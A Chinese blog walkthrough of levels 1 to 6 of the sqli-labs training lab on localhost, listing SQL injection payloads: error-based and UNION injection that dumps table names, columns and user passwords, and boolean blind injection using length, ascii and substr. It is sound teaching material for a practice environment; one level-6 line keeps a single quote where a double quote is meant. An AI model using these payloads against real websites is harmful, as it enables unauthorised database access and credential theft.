• sqllabs 1~6通关详解


    第一关 基于错误的GET单引号字符型注入

    存在注入点判断
    1,加上单引号报错

    http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27
    
    • 1

    在这里插入图片描述

    2,加上注释符页面正常

    http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27--+
    
    • 1

    在这里插入图片描述

    注释方式
    # 号注释
    %23 注释
    –+ 注释
    3,判断字段数(使用order by)

    http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27order%20by%203%23  # 正常
    http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27order%20by%204%23 # 页面显示错误
    
    说明字段数为3
    
    • 1
    • 2
    • 3
    • 4

    4,执行注入Payload

    http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,3%23
    
    • 1

    在这里插入图片描述
    查看数据库数据

    • 查看表名称
      group_concat函数:将查询到的多行结果连接成字符串
    http://127.0.0.1/sqli-labs-master/Less-1/id=-1'%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()%20--+
    
    • 1

    在这里插入图片描述

    • 查看列名
    http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20UNION%20SELECT%201,2,group_concat(column_name)%20FROM%20information_schema.columns%20WHERE%20table_schema%20=%27sqlilabs%27%20AND%20table_name=%27users%27%20--+
    
    • 1

    在这里插入图片描述

    • 查看字段
    http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20UNION%20SELECT%201,group_concat(username%20SEPARATOR%20%27-%27),group_concat(password%20SEPARATOR%20%27-%27)%20FROM%20users%20--+
    
    • 1

    在这里插入图片描述

    第二关 基于错误的GET整型注入

    和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。那步骤和我们第一关是差不多的。

    "SELECT * FROM users WHERE id=$id LIMIT 0,1"
    "SELECT * FROM users WHERE id=1 ' LIMIT 0,1"出错信息。
     
     
    ?id=1 order by 3
    ?id=-1 union select 1,2,3
    ?id=-1 union select 1,database(),version()
    ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
    ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
    ?id=-1 union select 1,2,group_concat(username ,id , password) from users
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    在这里插入图片描述

    第三关 基于错误的GET单引号变形注入

    当我们在输入**?id=2’**的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。
    在这里插入图片描述

    通过下面代码构建就可以进行sql注入。后面所有代码以此为基础进行构造。

    ?id=2')--+
    ?id=1') order by 3--+
    ?id=-1') union select 1,2,3--+
    ?id=-1') union select 1,database(),version()--+
    ?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
    ?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
    ?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这里插入图片描述

    第四关 基于错误的GET双引号字符型注入

    根据页面报错信息得知sql语句是双引号字符型且有括号,在这里插入图片描述
    通过以下代码进行sql注入

    ?id=1") order by 3--+
    ?id=-1") union select 1,2,3--+
    ?id=-1") union select 1,database(),version()--+
    ?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
    ?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
    ?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    第五关 基于GET单引号双注入

    1,输入单引号测试,有报错信息,返回信息和第一关错误信息一样
    2,不管输入id为多少,页面一直都是 you are in …猜测正确的页面不变,不会将查询结果打印到页面了,查看源码发现,确实是不输出结果了,但是会把错误的信息给打印出来.
    在这里插入图片描述

    如果数据 不显示只有对错页面显示我们可以选择布尔盲注。布尔盲注主要用length(), ascii() , substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。布尔盲注向对于联合注入来说需要花费大量时间。

    ?id=1'and length((select database()))>9--+
    #大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
    ?id=1'and ascii(substr((select database()),1,1))=115--+
    #substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
     
     
    ?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
    判断所有表名字符长度。
     
    ?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
    逐一判断表名
     
    ?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
    判断所有字段名的长度
     
    ?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
    逐一判断字段名。
     
     
    ?id=1' and length((select group_concat(username,password) from users))>109--+
    判断字段内容长度
    ?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
    逐一检测内容。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    第六关 基于GET双引号双注入

    和第五关类似,只要用双引号闭合即可
    根据页面报错信息可以猜测id参数是双引号,只需将第五关的单引号换成双引号就可以了。

    ?id=1"and length((select database()))>9--+
    #大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
    ?id=1'and ascii(substr((select database()),1,1))=115--+
    #substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
     
     
    ?id=1"and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
    判断所有表名字符长度。
     
    ?id=1"and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
    逐一判断表名
     
    ?id=1"and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
    判断所有字段名的长度
     
    ?id=1"and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
    逐一判断字段名。
     
     
    ?id=1" and length((select group_concat(username,password) from users))>109--+
    判断字段内容长度
    ?id=1" and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
    逐一检测内容。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
  • 相关阅读:
    PTA题目 计算符号函数的值
    linux arm64 Debian12移植操作手册
    移动机器人路径规划(五)--- 基于Minimun Snap的轨迹优化
    大数据必学Java基础(七十七):线程的生命周期和常见方法
    1Panel:一个现代化、开源的 Linux 服务器运维管理面板
    Queue & Deque 介绍
    css实现的悬停菜单鼠标跟随图片显示交互特效html页面前端源码
    双非温州大学新增电子信息专硕,考408!
    Python如何将项目直接打包为一键整合包
    深度强化学习-DQN算法
  • 原文地址:https://blog.csdn.net/weixin_52714299/article/details/126179953